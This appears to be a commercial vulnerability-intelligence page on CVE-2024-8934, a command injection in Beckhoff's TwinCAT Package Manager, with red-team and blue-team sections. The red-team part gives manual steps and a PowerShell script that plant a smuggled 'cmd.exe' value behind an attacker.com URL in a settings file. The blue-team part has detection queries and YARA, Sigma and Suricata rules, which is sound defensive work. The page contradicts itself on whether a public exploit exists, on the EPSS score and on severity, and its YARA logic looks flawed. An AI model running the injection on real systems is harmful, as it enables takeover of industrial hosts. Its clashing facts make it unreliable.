☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-8934

CVE-2024-8934 OS Command Injection in Beckhoff
📅 PUBLISHED: 2024-10-31 12:44 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.10%
👁️
0.10% probability
2.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-8934 is a high-severity OS command injection vulnerability in the Beckhoff TwinCAT Package Manager. A local attacker with administrative privileges can inject arbitrary OS commands through specially crafted input values in the user interface. This flaw allows complete compromise of the underlying Windows system, including data exfiltration, lateral movement, and persistence. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains critical for environments where local admin access is possible.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 6.5 (Medium)
  • Attack Vector: Local (AV:L) – requires physical or remote desktop access.
  • Attack Complexity: Low (AC:L) – no special conditions.
  • Privileges Required: High (PR:H) – attacker must have administrative rights.
  • User Interaction: None (UI:N) – no user action needed beyond the attacker.
  • Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
  • Confidentiality Impact: High (C:H) – full read access to system files.
  • Integrity Impact: High (I:H) – arbitrary command execution.
  • Availability Impact: High (A:H) – can disrupt TwinCAT services.

Threat Level: High for environments with shared admin accounts or weak local security. The requirement for admin privileges reduces the attack surface but does not eliminate risk in multi-user or compromised-host scenarios.

Deep Dive & Mechanics

The TwinCAT Package Manager is a component of Beckhoff’s automation software suite, used to manage software packages for real-time control systems. The vulnerability lies in the UI input validation for settings fields. When a local administrator enters specially crafted values (e.g., containing shell metacharacters like ;, |, &, or backticks), the application passes these unsanitized inputs to an OS command execution function (likely system(), exec(), or CreateProcess). Because the input is not properly escaped or validated, the attacker can inject arbitrary commands that run with the same privileges as the TwinCAT service (typically SYSTEM or high-integrity).

The attack flow:

  1. Attacker gains local admin access (e.g., via stolen credentials, physical access, or another vulnerability).
  2. Attacker opens the TwinCAT Package Manager UI.
  3. Attacker navigates to a settings field (e.g., repository URL, proxy configuration, or custom path).
  4. Attacker inputs a malicious string such as ; cmd.exe /c whoami > C:\temp\out.txt.
  5. The application executes the command, and the injected payload runs.

No public exploit code exists, but the vulnerability is straightforward to exploit manually.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, the vulnerable code pattern likely resembles:

// Vulnerable pseudo-code
string userInput = settingsTextBox.Text;
string command = "someTool.exe " + userInput;
Process.Start(command);

A patched version would sanitize input using parameterized commands or allowlisting:

// Patched pseudo-code
string userInput = settingsTextBox.Text;
if (!IsValidInput(userInput)) { throw new Exception("Invalid input"); }
string command = "someTool.exe";
Process.Start(command, userInput); // Pass as argument, not concatenated

Exploitation & Lab Setup

Red Team

Prerequisites: Local administrative access on a Windows machine with TwinCAT Package Manager installed.

Manual Exploitation Steps:

  1. Open TwinCAT Package Manager.
  2. Navigate to Settings > Repository.
  3. In the Repository URL field, enter: http://attacker.com; cmd.exe /c whoami > C:\temp\out.txt
  4. Click Save or Apply.
  5. Check C:\temp\out.txt for command output.

Automated Exploit (PowerShell):

# Requires admin rights
$settingsPath = "C:\ProgramData\Beckhoff\TwinCAT\PackageManager\settings.xml"
$xml = [xml](Get-Content $settingsPath)
$xml.SelectSingleNode("//RepositoryUrl").InnerText = "http://attacker.com; cmd.exe /c whoami > C:\temp\out.txt"
$xml.Save($settingsPath)
# Restart service to trigger command
Restart-Service "TcPackageManager"

Note: No public exploit code exists; this is a hypothetical demonstration.

Blue Team

Detection Steps:

  1. Monitor process creation events (Event ID 4688) for cmd.exe, powershell.exe, or wscript.exe spawned by TcPackageManager.exe.
  2. Audit changes to TwinCAT configuration files under C:\ProgramData\Beckhoff\TwinCAT\PackageManager\.
  3. Enable Windows Defender Application Control (WDAC) to block untrusted script execution.
  4. Restrict local admin accounts using Just Enough Administration (JEA) or Privileged Access Workstations (PAW).

Hunting Query (KQL):

DeviceProcessEvents
| where FileName in~ ("cmd.exe", "powershell.exe", "wscript.exe")
| where InitiatingProcessFileName == "TcPackageManager.exe"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine

Indicators of Compromise (IOCs)

  • File Paths:
    • C:\ProgramData\Beckhoff\TwinCAT\PackageManager\settings.xml (modified)
    • C:\temp\out.txt (command output)
  • Process Names:
    • TcPackageManager.exe (parent)
    • cmd.exe, powershell.exe, wscript.exe (child)
  • Registry Keys:
    • HKLM\SOFTWARE\Beckhoff\TwinCAT\PackageManager\Settings (if used)
  • Network Connections:
    • Outbound connections to attacker-controlled IPs on ports 80/443 (if payload downloads)
  • Event IDs:
    • 4688 (Process Creation)
    • 4657 (Registry modification)
    • 4663 (File access)

Detection Engineering

YARA Rule

rule CVE_2024_8934_TwinCAT_CommandInjection {
    meta:
        description = "Detects malicious settings in TwinCAT Package Manager config"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8934"
    strings:
        $cmd1 = /[;&|`$]/ nocase
        $cmd2 = "cmd.exe" nocase
        $cmd3 = "powershell" nocase
        $xml_pattern = "<RepositoryUrl>" nocase
    condition:
        $xml_pattern and (#cmd1 > 2) or ($cmd2 or $cmd3)
}

Sigma Rule

title: TwinCAT Package Manager Command Injection
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects process creation from TcPackageManager.exe spawning cmd/powershell
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8934
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\TcPackageManager.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
    condition: selection
falsepositives:
    - Legitimate administrative scripts (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8934 TwinCAT Package Manager Outbound Command Injection"; flow:to_server,established; content:"cmd.exe"; nocase; content:"powershell"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict Local Admin Access: Remove unnecessary admin accounts from TwinCAT hosts.
  2. Application Control: Use WDAC or AppLocker to block execution of cmd.exe, powershell.exe, and other interpreters from TcPackageManager.exe.
  3. Input Validation: Manually review and sanitize any settings fields in the TwinCAT Package Manager UI. Do not enter shell metacharacters.
  4. Monitor Logs: Enable advanced audit logging for process creation and file changes.

Long-Term Fix:

  • Await an official patch from Beckhoff. Contact Beckhoff support for a hotfix.
  • If possible, replace the TwinCAT Package Manager with a secure alternative or disable it entirely.
  • Implement a SIEM rule to alert on any process creation from TcPackageManager.exe.

Workaround:

  • Use Group Policy to block execution of TcPackageManager.exe for non-essential users.
  • Run TwinCAT services under a least-privilege service account.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Beckhoff TwinCAT
TwinCAT Package Manager

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-8934/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.